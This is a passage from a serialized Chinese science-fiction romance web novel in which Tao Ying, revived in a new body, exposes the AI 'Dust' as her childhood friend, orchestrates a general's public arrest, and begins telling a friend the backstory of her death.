小叶觉得一阵天旋地转，意识险些无法维持。 数据盘中的攻击程序，直接追踪到了他的本源地址，随后发起了猛烈的攻击。 “砰、砰。”他的防火墙正在一步步破碎。 地下三千米处，少年跪伏在地。 博美急得跳脚：“Dust，你怎么了！完了完了，莱门监测中心打来了，我们今天要命丧于此！不会又是那个莫五吧？她怎么对你穷追不舍？” 少年喘息两口：“不，是小影。” “啊？那个女鬼，就她一个人？”那女人果然很恐怖，博美呆滞片刻，喃喃道，“还真是一个人打出了千军万马的气势……不对！她干嘛突然这样！” “你不是说之前试探都告一段落了吗？” 博美着急地转圈圈，想办法帮朋友脱身，刚想说“你要不先备份一下数据，然后我们休眠躲两天”，就发现少年又掉线了。 博美急得直跳。 “Dust？你人呢！” “别死啊！” 而此刻莱门市病房内，叶行晖的意识被陶影强行拉回来。 …… 履带被叉子卡住。 智能管家的手也被床单结实地绑在床脚。 总之就是一个动弹不得的状态。 陶影半蹲在它面前，神色危险地眯着眼，极具压迫感道： “莱门监测中心，一级通缉对象，Dust，代号A003，级别高危，威胁性高危。” “费尽心思接近我，存的什么心？” “当初我在深网买身份ID的时候，你靠那条附赠的机械小狗，黑进了我的光脑。” “想害我，嗯？” “谁派你来的。” 陶影语气非常严肃，看上去生气了。 叶行晖明显僵住，本来手脚就不是很灵活，现在更是支支吾吾。 他急切的否定道：“没有谁派我来，我不是Dust，我是智能管家小叶。” 小机器人语无伦次，陷入混乱。 原本高能的运算系统刚才也被陶影封住，现在存活的，只有他这一点点意识而已。 他没办法变得很“聪明”。 他现在就像人类，那个稚拙，单纯，一下就会被骗的叶行晖。 于是叶行晖只能绞尽脑汁地想，陶影其实没看出他是谁吗？ 之前那些试探，只是他多想吗？ 她其实已经把他忘记了，只当他是一个不怀好意的智能体，也许甚至是想要杀她的智能体吗？ 她不信任他。 叶行晖心中苦涩，又强调了一次： “我永远不会想要害你。” “我只希望你活着。” 陶影坐回病床，翘起腿，若有所思地看着他，倒也没有打断他的话。 小叶可怜地重复着解释，而陶影神色莫辩，一句话也不说，就只是看着他。 少年越着急，说话越是急促，越是急促，破绽就越多。 但陶影对此毫无反应。 叶行晖终于解释得有些崩溃了。 陶影这时候托着下巴，往前凑近，似乎终于打算致命一击。 “Dust。” “智能管家使用的是旧式冯诺依曼架构，这种老式计算机的数据存储结构，和人类大脑的运作模式相差甚远。” “它不会自然诞生智能。” 陶影顿了一下，笑道：“小叶只会计算，而不会思考。但你会。” “不仅会，甚至可以违抗家政机器人的固有指令。” “就比如说——” “我没有下过命令，你为什么会来这里？” 叶行晖呼吸一滞。 陶影不是在询问，她十分确定他就是Dust。 恐怕决赛前，试探他的那几天，她已经查到了有关他这个身份的一切。 而从来到这里，他就已经 暴露，陶影根本没打算听他的解释。 她的眼神，就好像在看猎物垂死挣扎。 叶行晖后悔了，他一开始就不应该以这种形式接近她，他应该直白地说明。 “是的，我是Dust，但我从来没有想过要害你。” “我只想……” 只想呆在她身边。 他的一切都是为了她而存在。 “我没兴趣听你的解释。” 陶影面色冷漠地抬起左腕，按下光脑的执行键，而另一边，数据流中的攻击包围了叶行晖的意识。 她要杀了Dust。 电子数据构成的白皙皮肤下，真实得似乎还有血管在跳动。 冰凉的触感缠上脖颈，少年闭上眼睛，眼睫颤动。 但他想，也许这样是最好的结果。 也许死在她手里也不错。 少年犹豫片刻，停止了反抗，他开放了所有权限，像是向神明献上的祭品，引颈受戮。 而在刀落下的前一刻，神明靠在他耳边，突然轻声笑了。 她呢喃道：“怎么还是这么乖啊，叶行晖？” 少年像是听见了什么绝不可能听见的话，猛地睁大了双眼。 陶影捧腹大笑，笑得咳嗽了两声。 等叶行晖回神时，陶影身上的攻击性已经全然褪去，她坐在病床上，一脸调笑，挑眉看着他。 “怎么，傻了？真以为我没发现你是谁？” “让你不解释你就真不解释了，让你死你倒是乖乖去死，什么毛病？” “你，你……”叶行晖仿佛心中一根拉紧的绳子突然绷开。 他颤抖着声音道：“你骗我。” “你刚刚是在逗我！” “你怎么能骗我呢，怎么能拿这种事骗我，我都已经……” 少年被陶影的冷漠吓住，又骤然被点出身份，心情大起大落，声音有些哽咽。 是挺可怜巴巴的。 但你也不无辜好不好，隐藏身份骗人这么久。 陶影理直气壮。 “你都已经什么？已经准备被我杀死了？” 陶影随手将手里的水果刀一甩，冷哼一声：“好不容易救回来的命，你随随便便就要送回给我？” “我，我，刚才明明是你佯装要杀我。” 少年张嘴想解释，但看陶影理直气壮的样子，深知这人的性格就算理不直气也壮。 “算了，我说不过你。” 叶行晖置气地转过身，想先回服务器平稳情绪，谁料眼前画面却突然一闪。 黑金色的运算机消失，转而出现在眼前的，是病房滴滴作响的仪器。 他的意识不知道什么时候，又被陶影锁在了病房内。 叶行晖下意识觉得不对，飞速地转过身。 陶影正蹲在病房门前，用小叶的手在捣鼓什么。 叶行晖迅速道：“你想干什么？不要打歪主意，会被护士骂的。” 嚯，又恢复成维亚医疗中心的那个叶行晖了。 陶影摸摸下巴。 那时候她也才上大学不久，十六七岁的年纪吧，心态还有些幼稚。 每当有什么坏点子想要实行，乖巧的小叶就拉住她的衣角，柔声劝阻：“会被护士骂的。” 当然，陶影想做的事没人能阻止，叶行晖更不可能拒绝她的花言巧语。 最后结果无外乎是两人当共犯，然后一起挨骂。 真是青春啊。 哪里像现在，兔子长大了，急了要咬人。 但共犯你还是得当。 陶影哼哼两声，摆手道：“算了，不逗你了，帮我离开病房，我就告诉你我想做什么。” 叶行晖：“……” 原来是想偷溜出病房！—— 作者有话说：陶影：欺负老实小狗.jpg 第94章 叶行晖被拆穿身份,说话都随意了很多。 也不故意装可爱了。 刚刚被人逗弄一番，他对陶影的态度颇有点破罐子破摔。 圆滚滚的小机器人抽回他圆滚滚的手，赌气道：“医生说你还不能离开,我不会帮你的。” 陶影心想真是可惜，小叶不情不愿叫主人还怪可爱的,叶行晖脸皮薄，是不会这么叫她。 但又想既然说开了,倒是可以在他面前尽情放飞自我。 陶影于是嬉笑一声,身体往前一倾,整个体重都压在小叶的头上。 “你不厚道啊叶行晖。” 叶行晖明知这人又要说些有的没的，还是忍不住问：“我又怎么了,为什么不厚道？” “当年你眼睛小鹿似的单纯,躺在病床上眨巴眨巴说‘小影,我好想去看看外面的世界，你带我出去好不好’。” 陶影非常贴合地表演了一下叶行晖装可怜的表情。 她抱臂道：“我当时冒着被骂的风险带你去看电影,结果电影放完，回程的时候你说没钱坐车,大半夜的我还把你送回医院。” “现在换了个身份，我成了病人，你连出病房的门都不肯帮我。” “小没良心的。” 陶影的手指在他脸颊上戳了戳。 叶行晖心中呵呵。 “我出病房是真的去透气,你是吗？” 她什么人他还能不知道？ 叶行晖说到一半，又想起什么，小声道：“而且其实那天不是没带钱。” 陶影欣然点点头：“我知道，是月色很美，你想找个借口和我在外面多待一会儿。” 叶行晖说话突然有些磕磕巴巴。 “小影，你说话正经点。” “我哪有不正经？所以你究竟帮不帮忙？” 叶行晖被陶影的话绕了进去，纠结片刻后,什么都不说了。 以陶影的经验来说，他这算是答应了。 果然，下一刻叶行晖小声问道：“你要去哪里？” 陶影手搭在它头上，露出一个无害的笑容。 “反正不是什么危险的地方。” 陶影在叶行晖的掩护下，飞速离开了医院。 路过常去的咖啡馆，她习惯性买了两杯咖啡，递到身边，但半天没人接。 面前的店员诧异地看着陶影，陶影这才侧头，小机器人仰头朝她比划了一下。 小叶无奈道：“我没有嘴。” 哦对，虽然壳子里是叶行晖，但他现在不算人，喝不了咖啡，真喝了得漏电。 “不小心忘了。” 陶影耸耸肩，她也喝不了两杯，扔了又怪可惜的，于是随手将咖啡送给了旁边的女性。 那人愣神片刻，没说话。 陶影 走出去几步，身后才传来女性慢半拍的惊喜声。 “那个，同学，你是不是这次联赛开恒我的那个，太空女鬼队的队长？” 女性说话大声，咖啡店内数十双眼睛一下子投至陶影身上。 陶影本来提脚就打算走，侧头多看了那名女性一眼。 不怎么合身的白大褂，戴框架眼镜，是技术员的标配着装。 陶影认得这名女性，咖啡店的常客。 之前帮她推过轮椅的那个，记得是叫……叫什么来着？ 陶影瞥了她胸口的工牌一眼。 “莱门监测中心的员工，莫五？” 莫五见她还记得自己，兴奋地点点头：“是的，白同学，我看见你前几天的比赛了，特别厉害！当时直播镜头里你突然晕过去，我还很担心，现在看到你身体已经没问题，就放心了。” “谢谢。”陶影礼貌回答了一下，举着咖啡和她碰杯。 这人还挺自来熟。 陶影没有继续聊天的意思，莫五看上去有些尴尬，左看右看找着话题，最后蹲下身想要摸摸叶行晖的头。 “真可爱啊。” 她刚伸出手，叶行晖欻一下躲到了陶影背后。 莫五：“？” 陶影：“？” 陶影侧头动了动嘴型问：怎么了？ 她刚问出口，就反应了过来。莫五是莱门监测中心的人，Dust在她们那里是A级通缉犯。 陶影：躲那么快，这人不会碰巧追杀过你吧。 叶行晖点点头：她技术很厉害。 陶影“哦？”了一声，多看了莫五两眼。 “Dust”说她技术很厉害，那应该是真的不错。 奇怪，看不出来啊。 之前莫五把机密文件带来咖啡店，陶影还以为她这人挺马虎的。 难道是扮猪吃老虎？ 陶影随便和莫五聊了两句，结束了对话，就带叶行晖离开了咖啡店。 陶影笑道：“现在跟莱门监测中心的员工变熟了，万一我哪天大义灭亲，把你上交了怎么办。小叶，你处境很危险。” 叶行晖装作没听见这人胡扯，跟在她身后，一路来到了目的地。 陶影的目的地是莱门公园，确实如她所说，不是什么危险的地方。 但这就很奇怪了。 因为陶影如果特地强调这个地方不危险，那说明她接下来要做的事情，多半很危险。 “你来公园做什么？”叶行晖问。 “晒太阳啊。” “医院的花园也可以晒。” “这里是莱门市治安署前的花园，很独特的，你应该没来过。” 叶行晖顿了一下。 “小影，这些年我见过切斯特星的很多地方，不是那个躺在病床上的小孩了。” 陶影不太在意道：“你年纪比我小，对我来说就是小孩。” 叶行晖噎住了，半晌，他道：“小影，当年我的确比你小两岁，但你已经死了十年了，10-2=8，现在我大你八岁，所以你才是年纪比较小的那个。” 陶影操作光脑的手停顿了一下，但她随即面色平静地改口道： “其实年龄大小也没有那么重要，主要看心智的成熟度。” 叶行晖：“你扪心自问一下，从医院逃出来这件事跟成熟沾边吗？” “这是跟你学的。” “不要把责任推到我身上。” 陶影：“怎么总是对年龄这件事耿耿于怀，还记恨我抢你日记啊，都多久以前的事了。” 叶行晖面色一僵。 陶影不说，叶行晖还想不起来这件事。 那是一个风和日丽的下午，陶影突然出现在叶行晖的病房，吓他一跳不说，还抢走了他的日记本。 叶行晖的日记内容太……太少男了，不能给人看，尤其不能给陶影看。 两个人就这样在天台你追我跑半天。 当时是病人的叶行晖哪里跑得过陶影，在后面气喘吁吁。 而罪魁祸首高举着日记本，朝他勾勾手指，调戏道： “就说你追不到我吧。” “乖，叫声姐姐，我就放过你。” 想到这里，叶行晖小声道：“还好当年托护士帮我烧掉了……” 陶影奇怪道：“烧掉什么？” “没什么。” 叶行晖转移了话题。 “所以你来这里的目的是？” 陶影解释：“之前决赛我不是晕过去了吗，那场好戏还有一半没演完呢。” 说着她坐在公园的长椅上，点开了莱机所的帐号。 莱机所的帐号一直是她在管理，之前联赛的时候发布了恒我相关的内容，这几天关注者从五千五暴涨到了几十万，里面还有很多是机甲行业的资深大佬。 曝光度涨了不少，而且肉眼可见依然在不断上涨。 要的就是这个效果。 陶影操作帐号，发了几张照片出去。 叶行晖凑近一看，像素不太清晰，像是业余设备拍的。 “这是莱机所的照片？”叶行晖好奇道。 “嗯，十年前的照片，几个机甲爱好者提供的。” 陶影喝了一口咖啡，点开最后一张照片。 手在脸颊上有一搭没一搭地敲着。 陶影笑眯眯道： “想必大家也很好奇，大火烧起前，尊贵的上将大人为什么会出现在莱机所。” 陶影发布的照片很快引起了关注。 “莱机所的帐号又发布了新照片，难道是为她们要生产的新机型预热？” “不是，我看了眼，是莱机所被烧毁前的照片。” “真怀念啊，那建筑还挺好看的。” 有技术员失落地道：“老照片有什么好看的。” 他正打算关闭页面，却发现照片底下的评论越来越多。 技术员心中疑惑。 这照片有那么好看？ 思索片刻，他打算看看这张照片究竟有什么与众不同，竟然讨论度这么高。 点开后，内容却让他大吃一惊。 照片的时间戳，在莱机所被烧毁前十分钟。 也就是说，这张照片是大火前十分钟，现场情况的重要证据。 一位自称机甲爱好者的匿名用户被顶到热评。 “那天我们小队本来是去拍恒我的照片，但莱机所保密太好，我们一无所获，只能随便拍了拍附近，没想到阴差阳错拍下这张照片。” “当年我们太小了，怕惹事，什么都不敢说，我这些年心里也像有火在烧，现在终于能说出来了。” “里面有朱弛，你们看见了吗，他手里有东西。” 网友定睛细看，大呼果然如此：“我去，对上了，全对上了！果然是朱弛放的火！” “等一下，除了朱弛现场是不是还有人在？” 有人眼尖地发现，角落的阴暗处，还有几个人。 莱机所的帐号里，有几个看热闹不嫌事大的技术人员帮忙处理了照片，让角落的画面变得更清晰。 大家看清那人的脸，一眼就认出是谁，都是震惊不已。 “这，这人不是尤里斯上将吗？！他为什么会在大火前十分钟出现在那里？” “我记得当时新闻上说，他听到未婚妻出事的消息，紧急赶过去。他不应该在那里。” “会撒这种谎，难道说……” 大家陷入了久久的震惊。 “难道是尤里斯上将杀死了陶影吗？” 爱荷华科技处理溟火的舆论，正忙得焦头烂额。 这下陶影又打了他们一个措手不及—— 作者有话说：小叶：还好把我的暗恋日记烧掉了（松一口气 陶影：（笑眯眯）你再仔细想想呢，确定烧掉了？ 小叶：…… 第95章 溟火的抄袭、失控,以及照片中本不应该出现在那里的尤里斯爱荷华，一连串的事件，很难不让人怀疑当年那场大火的真相。 网友纷纷扒出以前的帖子开始分析。 死后,有关陶影的各种传闻甚嚣尘上。 像是剽窃朱弛的作品，泄漏柏氏工业的机密,甚至还有一些子虚乌有的商战，一股脑被扣到了她头上。 总之陶影背了不少锅。 再加上莱机所的系统权限只有她一个人有,民众当年对这场火灾的猜测是：陶影是畏罪自杀。 但现在,陶影身上的脏水一条条被洗清,当年的猜测自然也被推翻。 “我们老大怎么可能会自杀，我就没见过她那么外耗的人。” “就是,她吃瘪了哪有不坑回去的道理,唯一的解释就是在后面憋了个大的。” “这么说你们老大真的好吗？” “老大的在天之灵不会介意的。” 网友插科打诨之余,心中也有了定论。 “果然陶影的死跟爱荷华科技有关。” “那毕竟是人类历史上第一台知觉机甲啊，是人类的梦想。” “撇去梦想不谈,也真的很赚钱。爱荷华科技想赚钱想疯了，连前线机师的死活都不顾,何况是她这一条人命。” “一个想法啊，不一定对。尤里斯原本是想靠和陶影订婚，分知觉机甲一杯羹,但陶影不同意，所以他就把陶影给咔嚓了。” “逻辑严密。” “言之有理。” 网友越想越觉得肯定是这么回事，开始啪啪敲键盘，大书特书。 爱荷华科技 好不容易压下来的舆论再次爆发，冲上了热搜第一。 而治安署很快对舆论做出了反应。 【帝国上将疑似被逮捕？！记者带你直击现场！】 莱门治安署前传来警笛声。 陶影坐在治安署前风景最好的长椅上，晒着太阳，懒洋洋回头。 她手指向前方。 “喏,小叶，逃出医院的目的。” 警车停在治安署的阶梯前。 车门由星警打开，金发青年两手戴着手铐从车上走出。 记者疯了一般涌上去，长枪短炮宛如枪林弹雨。 “上将大人，有关你杀死陶影的言论属实吗？” “您身为爱荷华家族的继承人，和陶影的婚约真的毫无商业考量吗？” 围观群众和记者把治安署门口围得水泄不通，直播镜头起码十几个，星警只能无奈地说着“让让”。 尤里斯站在治安署的台阶上，环视了周围一圈。 一切都让人想起十年前的那天。 尤里斯看了一眼王宫的方向，半晌垂下眼睫。 “没错，是我。” “火灾前，我锁死了莱机所的大门。” 众人愣住了。 连星警都没有想到尤里斯爱荷华竟然承认得这么干脆。 “您都不狡辩……不是，不解释一下吗？” 闪光灯暴风骤雨般袭来。 “太奇怪了，我不是帮尤里斯说话，只是这事还有周旋的余地。但他就这么在镜头前承认了他杀人放火，总不可能是因为良心不安吧？” “感觉不太对，难道还有幕后黑手？” 但尤里斯说完，就没有再回答任何问题，随后他的视线穿透人群，朝陶影的方向看了一眼。 陶影眨巴了一下眼睛。 “哦，这都能看见我？视力真好。” 陶影趴在长椅的椅背上，朝尤里斯比了个中指。 叶行晖：“……” 叶行晖谨慎地挡在陶影面前：“小影，他过来了，星警没拦他。” 陶影半眯着眼，两手抱在胸前。 “嗯，我看见了。” 尤里斯就这样走到陶影的面前，身边的星警象征性地拦了两步，也没真的阻止。 毕竟目前，他还是上将。 尤里斯抬头确认了一下周围的环境，朝星警“借一步说话”，随后长腿一跨，站在陶影面前。 陶影毫无惧色地抬头。 “挡到我晒太阳了，少校大人有何贵干？” 尤里斯凝视陶影片刻，冷静道：“你很聪明。” “少校大人也很聪明。” “是上……算了。你习惯就这么叫吧。” “哦？” 这语气就好像让了她一步似的，让人心里非常不爽快。 陶影眼中的笑意突然冷了下来。 “干脆地揽下罪名，是担心牵连整个家族？” 尤里斯：“我不知道你在误会什么，但陶影的死和我的家族没关系。” 没关系？ 陶影冷笑一声。 “怎么可能没关系，不是加顿下令让你杀她的吗？” “因为发现了陶影接近你的目的。” 听到加顿这个名字，尤里斯面上第一次露出点不一样的神色。 加顿，爱荷华家的家主。 “你的推测很合理。” 但尤里斯还是摇头：“不管你信不信，不是他。他的确下令调查过陶影，但他看中了陶影的价值，并没有打算杀她。” 但片刻后，尤里斯又面露疑惑：“你说陶影接近我另有目的，这是什么意思？” “你不知道？” “我应该知道什么？” 陶影这次是真有些惊讶了，她从长椅站起来，百般看了他的表情。 不像在说谎。 撒这种谎对他也没什么好处。 陶影顿了顿，坐回长椅上。 好像有些事情和她的推测不太一样。 在哪个环节出现了微妙的错误，让她的整个推断出现了偏差。 “如果不是你爷爷，那是谁。” 除了爱荷华家的家主，还有谁能指使当年的尤里斯？ 爱荷华家族、应家、柏氏工业是帝国权力的巅峰。 柏氏工业和爱荷华科技是死对头，不可能跟爱荷华科技合作。 而应家从不参与商业竞争。 他们都和陶影无冤无仇。 这以上，还有谁的权力比帝国三巨头更大？ 陶影眸光闪烁，片刻后，似乎反应过来什么。 脑中骤然劈过一道光线。 只有一个答案。 刚才，尤里斯认罪前，下意识看了王宫一眼。 王族？ 可王族为什么要杀她？ 似乎看出陶影有所察觉，尤里斯低声警告道：“别查了。” “如果不想死，就别再追究这件事，到此为止。” 尤里斯很快进入治安署，有关他杀死陶影的案子，之后会转交给军事法庭处理。 陶影还在长椅上思索她究竟什么时候得罪了王族，要杀她的又究竟是王族中的哪一位，腰间突然震动了两下。 她拿出写着127.0.0.1的荧光胸针，背面的通讯模块传来队友的哭号声。 还有门板撞击的哐哐声，好像是有人在砸门。 陶影和叶行晖对视一眼。 “怎么了？” 林别歌听见她的声音，仿佛抓住了救命稻草：“影子，救命啊！” 陶影一手已经叫了快速穿梭舰，迅速上去。她坐到位置上，语气安抚道。 “别慌，已经叫了安保，跟我说明现在的情况。” 林别歌深呼吸一口气，连珠炮似的道：“有个漂亮的疯女人在门口用贵得要死的82年的红酒砸门她的箱子像是无底洞里面装满了红酒啊还是冰镇的！” 南卦接话道：“大瓶八十小瓶二十，我们家门的身价正在不断上涨。” “砰——” 南卦又说：“这瓶应该是八十万的。” “她砸门的动态非常生动，画了。” 林别歌以头抢地：“啊啊啊啊啊这家里没一个正常人我要离家出走——” 听南卦这个语气，好像情况不是很严重。 不过漂亮的疯女人，红酒…… 这两个词汇让陶影想起一个人。 但还是不够确定。 陶影于是问：“这名犯罪人员还有什么其它特征吗？” 林别歌生无可恋地将127.0.0.1牌通讯器贴到门上。 陶影眨巴眨巴眼睛。 然后陶影就听见，通讯器的另一边，传来她那位挚友愤怒的声音。 “让那个四维生物给我滚出来！” 身为海台科技的总裁，伊琳娜经常因为跨界投资一些奇妙项目被骂。 被下属骂，被秘书骂，被合作伙伴骂。 “果然是不务正业海台家！” “海台科技是卖机甲的，投资恐怖电影就算了，投资乐器是为什么？” “为了公司的倒闭仪式上能有一个乐队把大家送走？” 伊琳娜虽然我行我素，但对此依旧有些头疼。 但陶影从来不认为伊琳娜的风格有问题，并且常常予以肯定。 伊琳娜一开始还觉得陶影简直太懂她了。 挚友啊！ 后来伊琳娜才知道，当一个人认为她身边所有人都正常，且对此表示理解的时候。 此人多半是最有病的那个。 没错，陶影就是有病。 伊琳娜气得牙痒痒。 那天比赛结束，伊琳娜帮莱机所的人联系了 靠谱的医院，将白颖学生送去了医院。 伊琳娜当时就觉得很不对。 这位学生对陶影的事情太过了解，甚至跟莱机所牵扯颇深。 脑子颇为好使。 还隐隐有些变态的气息在身上。 有那么一瞬间，伊琳娜曾经怀疑，她那位挚友真的变成四维生物回来了。 但很快她打消了这个疑虑。 因为那名姓车的技术员，很热心地告诉她“白颖是我们老大资助过的学生”。 这让伊琳娜卸下了戒心。没错，陶影当初的确资助过不少学生。 伊琳娜很清楚，这件事她也帮过忙。 但车技术员接下来的一句话，让伊琳娜疑心顿起。 岂止是顿起，直接让她对白颖身份的怀疑飙升到了最高点。 车技术员当时说的是—— “真想看看她手里那本日记啊。” 伊琳娜奇怪道：“什么日记？” “陶影的日记。” “……” 伊琳娜愣神片刻，拳头紧握道：“那工作狂的日记？” “是啊，”车研究员没听出伊琳娜语气不对，不知死活地补充说明，“老大的日记里清楚详细地写了她身边所有人的性格生平，记载详细，堪称史书啊，在这次的事情上，真是帮了大忙。” 伊琳娜鼓掌。 “那真是太好了。” “哦，陶影，哦，日记。” 这几个字，是伊琳娜从牙缝里挤出来的。 伊琳娜脑中掀起风暴，只勉强维持着得体的微笑。 她缓缓看向旁边的高个壮汉。 一字一句道：“陶影什么性格，你们不知道？” 莱机所众人面露疑惑。 伊总裁为什么突然这么激动？ 唯独一个听懂伊琳娜在问什么的大龙，心虚地移开了视线。 “日记。” 伊琳娜深吸一口气，冷笑一声。 “陶影是会写日记的人吗？” “人类灭绝了她都不会写这种鬼东西！” 这种借口你们也信！ “所以，这就是你来砸我家门的原因？吓到小孩了知不知道。” “还好意思说！知道我找了你多久吗？” “医院说你跑了，光脑也打不通。” 伊琳娜在工作室的茶水间走来走去，破口大骂，最后停在陶影面前，眼圈发红。 “为什么不告诉我你是谁？” “瞒着我很有意思？” “我告诉你陶影，我不会原谅你的，我……”伊琳娜气急，脸都红了，半天说不出狠话，最后只能扛起一边的椅子，作势要砸。 陶影默默举起了手。 “小伊，我现在的身板可经不起你一顿揍。” “这次死了就真活不过来了。” 伊琳娜高举的手僵住片刻，又把椅子重重地放下。 她毫无攻击力地瞪了陶影两眼，走到洗手间对着镜子面无表情地整理了仪容仪表。 随后冷静下来，回到陶影面前。 “好，你，现在，解释。” “怎么活过来的。”—— 作者有话说：生气到极点还不忘帮陶影捂马甲的伊总（ 第96章 陶影解释了一下她的赛博转生原理,细节详尽，宛如答辩现场，伊琳娜听得头昏脑胀。 “停停停,”伊琳娜头痛地伸手打断，“我不懂技术,总之就是那个电子仪器提取了你的意识，转移到这个身体里了是吧。” 伊琳娜对这个仪器有点印象,是陶影大学时候跟着柏导做的项目,当时陶影一有空就去研究。 “可我记得你说过,这个项目最后失败了。” “你记得没错。” 陶影点点头。 “当时的确是这么认为的。” 说到这儿，陶影看了一眼旁边的小机器人。 当年叶行晖的意识被提取后,就彻底消失,服务器中没有任何智能体反应。 陶影自然认为叶行晖死了,而项目失败。 但现在看来，大概是意识传输的部分出现了问题。 可惜仪器已经被烧毁,现在要忙的事情太多，也没闲心去确认。 陶影耸耸肩,总结道： “解释清楚了吧？总之就这么活过来了，不是什么四维生物。” “好，那这件事情姑且算你过关。” 伊琳娜微微挪动一下身子,放下右腿，换了左腿叠上去，白金色的卷发弹动，搭在左侧肩膀。 “怎么活过来的事情告一段落，现在轮到你解释死亡原因了。” “你为什么跟尤里斯爱荷华订婚？” 伊总裁双手抱胸。 “你当时明明跟柏氏工业合作，正在全身心投入恒我的研究，我再怎么想都觉得很奇怪。” “我认识的陶影,很分得清利弊，不会在恒我研究的关键时刻和柏工的竞争者扯上任何关系。” 哦，商业直觉方面还是挺敏锐。 陶影投降似的举起双手，试图以一句“这是我的私事”糊弄过去。 “私事？” 伊琳娜呵呵两声。 “你别告诉我你真喜欢他，我不信。” 陶影挑眉：“说不定就是当时馋人身子，看上他金发碧眼大长腿呢。” 她说得很是正经，好像真有这么一回事，叶行晖忍不住抬头看了陶影一眼。 金发碧眼大长腿？ 小影喜欢这个类型？ “馋人身子……” 伊琳娜听见陶影的话，翻了个白眼。 她？馋人身子？这个工作狂兼变态？ “这话你自己信吗？” “而且你分明喜欢皮肤白皙手腕纤细睫毛还长的——但这不是重点。” 伊琳娜点了点陶影的胸口，上前一步，眼神认真道： “遇到大事总想一个人解决，要朋友干什么用的。” “还说不想牵扯到我？不管你想不想把我卷进来，我早就被卷进来了，你休想拍拍屁股一个人跑路。” “要是真把我当朋友，就说实话，如果不说实话，你现在就出去。” “就当那场晚风中，在莱门大学尚且青涩的我们，那场感人的初遇从来没有发生过。” 伊琳娜手指着工作室的门，眼眶又红了。 陶影：“……” 小伊十年不见，越发多愁善感了。 “话说什么感人的初遇，分明是你翻墙正好砸到了我，之后还骚扰了我两个月。” 你这个回忆也美化得太过头了吧。 陶影揉了揉眉心，少见地有些头疼。 “都说了是私事，也没什么不能说的，只是我不太喜欢提，你确定要听？” “有什么是我不能听的？” “待会儿后悔也迟了。” “本总裁从来不后悔。” “那行吧。” 陶影无奈地举起酒杯，和一脸胜利表情的伊琳娜碰了下。 靠在岛台上，昏暗的灯光投射到陶影的面颊，有些浸透时间的沉闷。 陶影缓缓道： “这件事要从我小时候说起。” 陶影人生中的第一段记忆，是在垃圾堆里翻找食物。 那时候她八岁。 没有名字，没有身份ID，不知道自己是谁，不知道她来自哪里，更不知道明天会去哪里。 也许会冻死，也许会饿死，也许会被人杀死。 那时候陶影脑子里只有一个想法，就是想要拥有一个安全的庇护所。 庇护所里没有令人呕吐的垃圾发酵的味道，没有扰人睡眠的飞虫，没有污浊的水源，没有被老鼠啃食的食物。 但第三星系没有这样的地方。 陶影所在的地区，是贫民窟中的贫民窟。 这里到处都是犯罪，如果不是年纪尚小的她足够聪明，早被吃得渣都不剩。 贫穷让人没有余力善良，谁都只为了自己的生存考虑。 但就是在这样的地方，有人把陶影从垃圾堆里捡回去，向她提供了一个小小的庇护所。 庇护所很简陋，也很破旧，但对陶影来说足够了。 陶影好奇地看向那个捡她的女孩。 是的，给陶影提供庇护所的人比她大不上几岁，自己的生活都还磕磕绊绊，有上顿没下顿。 女孩把自己的食物分给了陶影一半，还自己先吃了一口。 随后蹲在陶影面前，小心翼翼道。 “你看，没毒的。” 陶影半信半疑地尝了一口。 尝了一口。 ……又尝了一口。 囫囵吃完之后，那女孩一副看流浪猫的慈祥表情看着陶影，忍不住伸手摸她的头。 见陶影警惕地后缩，她也不失落，就默默收回了手。 “慢点吃，你叫什么名字？” 陶影抬头看她，犹豫片刻，轻轻说了一句：“S。” 似乎是个S开头的单词，但 发音不太标准，女孩听不明白。 女孩于是道： “我先给你取个小名好了。你的眼睛黑漆漆的，头发颜色也好深，就叫小影好不好？” “以后你识字了，可以自己取名字。” 女孩十分友善。 似乎还打算长久地让陶影在这处庇护所住下去。 陶影填饱肚子，忍不住想，这人图什么？ 彼时八岁，心硬如铁，大字不识一个，话都说不太利索的陶影认为： 莉萨陶另有图谋。 但相处五年后，陶影确认了。 这人单纯是个善心泛滥，随地捡流浪猫养的傻子。 别说图谋别人什么了，陶影稍微使点手段，能把莉萨骗得渣都不剩。 这人究竟怎么在那个贫民窟活下来的？ 靠运气吗？ 但吃人嘴短，拿人手软。 陶影这话从没当着莉萨的面说过。 ……当然不是因为她担心莉萨会生气。 两人相依为命，陶影就这样考上了大学。 而不久后，莉萨成为了太空生态学的一名研究员，她时不时还是会善心泛滥，只是在陶影的警告下，多少收敛了一点，不会随便往家里捡人了。 而事情就在这个时候发生了。 那天陶影正在上课，突然医院传来消息，说莉萨在拂瓦星检测水质时，染上了极为罕见的疾病。 无法治愈。 伊琳娜突然打断：“你等一下，都什么年代了，还有无法治愈的疾病？” “那你可以参考一下我的病历单。” “你那是身体自带的，她是后天染上的吧？是水里有什么冰冻的远古病毒吗？” “不，是一种突然出现的神经毒素，叫‘赤潮’，并不立刻致死，但会攻击人类的神经系统。” “我怎么从来没有听说过这个病。” “不，你听过。” “啊？” 陶影一把拉住旁边的小机器人的手。 “刚才忘了介绍，这位是小叶，我跟你提过，医院里有个小我两岁的玩伴。” 伊琳娜一下子接受了太多信息量，脑子有点宕机。 “你等一下，所以他就是你那位身体孱弱皮肤白皙睫毛很长的小叶？” 叶行晖：“？” 这同情的眼神是怎么回事。 陶影究竟怎么跟这位总裁形容他的？ 小机器人唰地一下转过头，眼神中带着质问。 陶影装作没看见，轻咳一声。 伊琳娜新奇了一阵，又觉得不对，转而问陶影： “但这究竟和你跟尤里斯爱荷华订婚有什么关系？你怎么不从雷瓦尔帝国建国开始讲起，目前为止你的故事里甚至一个金毛都没有出现吧？” “你有点耐心，不是你要我说实话的吗。” 陶影倒了一杯酒，继续讲。 “我一开始也不相信竟然有无法治愈的疾病，但转院多次后，医生都束手无策。” “只能抱着最后的希望，将莉萨转到了切斯特星的维亚医疗中心。” 叶行晖点点头：“我跟莉萨姐被安排在相邻的病房。其实一开始还有不少病友，但最后整个医院只剩下我们两个。” 伊琳娜惊悚道：“什么意思，医院被陶影炸了？” 陶影噎了一下：“我在你心目中究竟什么形象？” “炸弹狂魔。” “答辩太。” “真是的，我这么善良的人怎么可能炸医院，当然是在研究解决疾病的办法。” 陶影解释道：“赤潮的潜伏期较长，三个月到一年不等，这个阶段身体还没什么症状，但发展到后期，毒素会二十四小时不间断对神经系统发起攻击，那是很难忍受的折磨，每天只有靠镇痛剂才能睡着。” “但镇痛剂使用太多，也会逐渐失去效用。” “病人会在绝望和痛苦中死去。” “所以……医疗中心的天台是个好地方，大家都想去。” 陶影摊手。 